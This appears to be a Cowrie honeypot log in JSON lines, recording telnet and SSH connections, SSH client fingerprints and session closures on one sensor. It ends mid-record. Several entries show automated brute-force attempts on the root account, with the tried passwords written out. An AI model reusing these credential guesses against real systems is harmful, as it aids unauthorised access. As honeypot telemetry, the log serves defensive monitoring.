{"eventid":"cowrie.session.closed","duration":49.06726145744324,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:26.517529Z","src_ip":"152.42.224.71","session":"e905db30de16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59712,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee557b2072a","protocol":"telnet","message":"New connection: 152.42.224.71:59712 (10.17.0.5:23) [session: fee557b2072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:31.130568Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58542,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f62766051b","protocol":"telnet","message":"New connection: 152.42.224.71:58542 (10.17.0.5:23) [session: 09f62766051b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:42.054404Z"}
{"eventid":"cowrie.session.closed","duration":28.797419786453247,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:49.623081Z","src_ip":"152.42.224.71","session":"a2e83b95c029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b359b51b8636","protocol":"telnet","message":"New connection: 152.42.224.71:50956 (10.17.0.5:23) [session: b359b51b8636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:53.196944Z"}
{"eventid":"cowrie.session.closed","duration":22.983088493347168,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:54.113563Z","src_ip":"152.42.224.71","session":"fee557b2072a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.243.201.233","src_port":57452,"dst_ip":"159.203.135.109","dst_port":23,"session":"24d6d781e895","protocol":"telnet","message":"New connection: 49.243.201.233:57452 (159.203.135.109:23) [session: 24d6d781e895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:57.702790Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42950,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ea62792b52","protocol":"telnet","message":"New connection: 152.42.224.71:42950 (10.17.0.5:23) [session: 37ea62792b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:08.679511Z"}
{"eventid":"cowrie.session.closed","duration":13.382177591323853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:11.084813Z","src_ip":"49.243.201.233","session":"24d6d781e895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.34080624580383,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:11.405982Z","src_ip":"152.42.224.71","session":"5264d5258f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40926,"dst_ip":"159.203.135.109","dst_port":22,"session":"c056c5398edc","protocol":"ssh","message":"New connection: 87.251.79.125:40926 (159.203.135.109:22) [session: c056c5398edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:16.954956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:16.960625Z","src_ip":"87.251.79.125","session":"c056c5398edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:17.035907Z","src_ip":"87.251.79.125","session":"c056c5398edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sparta","message":"login attempt [root/sparta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:17.265477Z","src_ip":"87.251.79.125","session":"c056c5398edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:18.339929Z","src_ip":"87.251.79.125","session":"c056c5398edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45580,"dst_ip":"10.17.0.5","dst_port":23,"session":"2630ecd82eb9","protocol":"telnet","message":"New connection: 152.42.224.71:45580 (10.17.0.5:23) [session: 2630ecd82eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:20.262409Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"7541518fc18d","protocol":"telnet","message":"New connection: 152.42.224.71:45592 (10.17.0.5:23) [session: 7541518fc18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:21.555037Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b923b6ecee","protocol":"ssh","message":"New connection: 43.134.32.136:52716 (159.203.135.109:22) [session: b9b923b6ecee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:21.831535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:21.840003Z","src_ip":"43.134.32.136","session":"b9b923b6ecee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:22.076007Z","src_ip":"43.134.32.136","session":"b9b923b6ecee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq12wsde34rf","message":"login attempt [root/aq12wsde34rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:23.050597Z","src_ip":"43.134.32.136","session":"b9b923b6ecee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:24.290135Z","src_ip":"43.134.32.136","session":"b9b923b6ecee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"783943bd492e","protocol":"telnet","message":"New connection: 152.42.224.71:51068 (10.17.0.5:23) [session: 783943bd492e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:27.546361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42564,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad33ca1a6e2f","protocol":"telnet","message":"New connection: 152.42.224.71:42564 (10.17.0.5:23) [session: ad33ca1a6e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:45.262990Z"}
{"eventid":"cowrie.session.closed","duration":18.729963302612305,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:46.276213Z","src_ip":"152.42.224.71","session":"783943bd492e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":37880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea16b2e70b47","protocol":"ssh","message":"New connection: 103.75.182.198:37880 (10.17.0.5:22) [session: ea16b2e70b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:47.489955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:47.493578Z","src_ip":"103.75.182.198","session":"ea16b2e70b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:47.741085Z","src_ip":"103.75.182.198","session":"ea16b2e70b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnbr","message":"login attempt [root/ghbdtnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:48.485342Z","src_ip":"103.75.182.198","session":"ea16b2e70b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:24:49.735329Z","src_ip":"103.75.182.198","session":"ea16b2e70b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.332024097442627,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:02.594897Z","src_ip":"152.42.224.71","session":"ad33ca1a6e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58136,"dst_ip":"10.17.0.5","dst_port":23,"session":"363201ac1140","protocol":"telnet","message":"New connection: 152.42.224.71:58136 (10.17.0.5:23) [session: 363201ac1140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:05.679006Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0342a2f54379","protocol":"telnet","message":"New connection: 152.42.224.71:33764 (10.17.0.5:23) [session: 0342a2f54379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:06.545216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33772,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fec70e2b4b","protocol":"telnet","message":"New connection: 152.42.224.71:33772 (10.17.0.5:23) [session: 69fec70e2b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:07.930566Z"}
{"eventid":"cowrie.session.closed","duration":105.36180996894836,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:09.897360Z","src_ip":"152.42.224.71","session":"6a4b840705b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.777193546295166,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:16.039503Z","src_ip":"152.42.224.71","session":"2630ecd82eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.85672116279602,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:19.411642Z","src_ip":"152.42.224.71","session":"7541518fc18d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"70594b294c33","protocol":"telnet","message":"New connection: 152.42.224.71:39050 (10.17.0.5:23) [session: 70594b294c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:20.822423Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39064,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b29ebed94e","protocol":"telnet","message":"New connection: 152.42.224.71:39064 (10.17.0.5:23) [session: 57b29ebed94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:23.194424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40704,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be37bf98663","protocol":"telnet","message":"New connection: 152.42.224.71:40704 (10.17.0.5:23) [session: 0be37bf98663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:26.696365Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd2f11fb144f","protocol":"telnet","message":"New connection: 152.42.224.71:40714 (10.17.0.5:23) [session: dd2f11fb144f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:27.546048Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40724,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5317b04e042","protocol":"telnet","message":"New connection: 152.42.224.71:40724 (10.17.0.5:23) [session: e5317b04e042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:29.012317Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40730,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe605d9f668","protocol":"telnet","message":"New connection: 152.42.224.71:40730 (10.17.0.5:23) [session: bfe605d9f668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:37.426003Z"}
{"eventid":"cowrie.session.closed","duration":31.56286883354187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:39.493311Z","src_ip":"152.42.224.71","session":"69fec70e2b4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00398921966553,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:42.058277Z","src_ip":"152.42.224.71","session":"09f62766051b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57714,"dst_ip":"10.17.0.5","dst_port":23,"session":"157b873cd728","protocol":"telnet","message":"New connection: 152.42.224.71:57714 (10.17.0.5:23) [session: 157b873cd728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:43.282320Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":48304,"dst_ip":"159.203.135.109","dst_port":22,"session":"538d3e44c22e","protocol":"ssh","message":"New connection: 43.134.32.136:48304 (159.203.135.109:22) [session: 538d3e44c22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:45.139760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:45.144668Z","src_ip":"43.134.32.136","session":"538d3e44c22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:45.392475Z","src_ip":"43.134.32.136","session":"538d3e44c22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.93776249885559,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:46.363653Z","src_ip":"152.42.224.71","session":"bfe605d9f668","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"artica","message":"login attempt [root/artica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:46.401173Z","src_ip":"43.134.32.136","session":"538d3e44c22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:47.649524Z","src_ip":"43.134.32.136","session":"538d3e44c22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.3050606250763,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:50.984462Z","src_ip":"152.42.224.71","session":"37ea62792b52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00338006019592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:53.200222Z","src_ip":"152.42.224.71","session":"b359b51b8636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51660,"dst_ip":"10.17.0.5","dst_port":23,"session":"8432614d5ce0","protocol":"telnet","message":"New connection: 152.42.224.71:51660 (10.17.0.5:23) [session: 8432614d5ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:54.175221Z"}
{"eventid":"cowrie.session.closed","duration":49.244818925857544,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:25:54.923690Z","src_ip":"152.42.224.71","session":"363201ac1140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34448790550232,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:03.890443Z","src_ip":"152.42.224.71","session":"dd2f11fb144f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47484,"dst_ip":"10.17.0.5","dst_port":23,"session":"076968a88eb0","protocol":"telnet","message":"New connection: 152.42.224.71:47484 (10.17.0.5:23) [session: 076968a88eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:10.690833Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46488,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ac04e1ed5f","protocol":"ssh","message":"New connection: 80.94.92.184:46488 (10.17.0.5:22) [session: 52ac04e1ed5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:11.073145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:11.304851Z","src_ip":"80.94.92.184","session":"52ac04e1ed5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh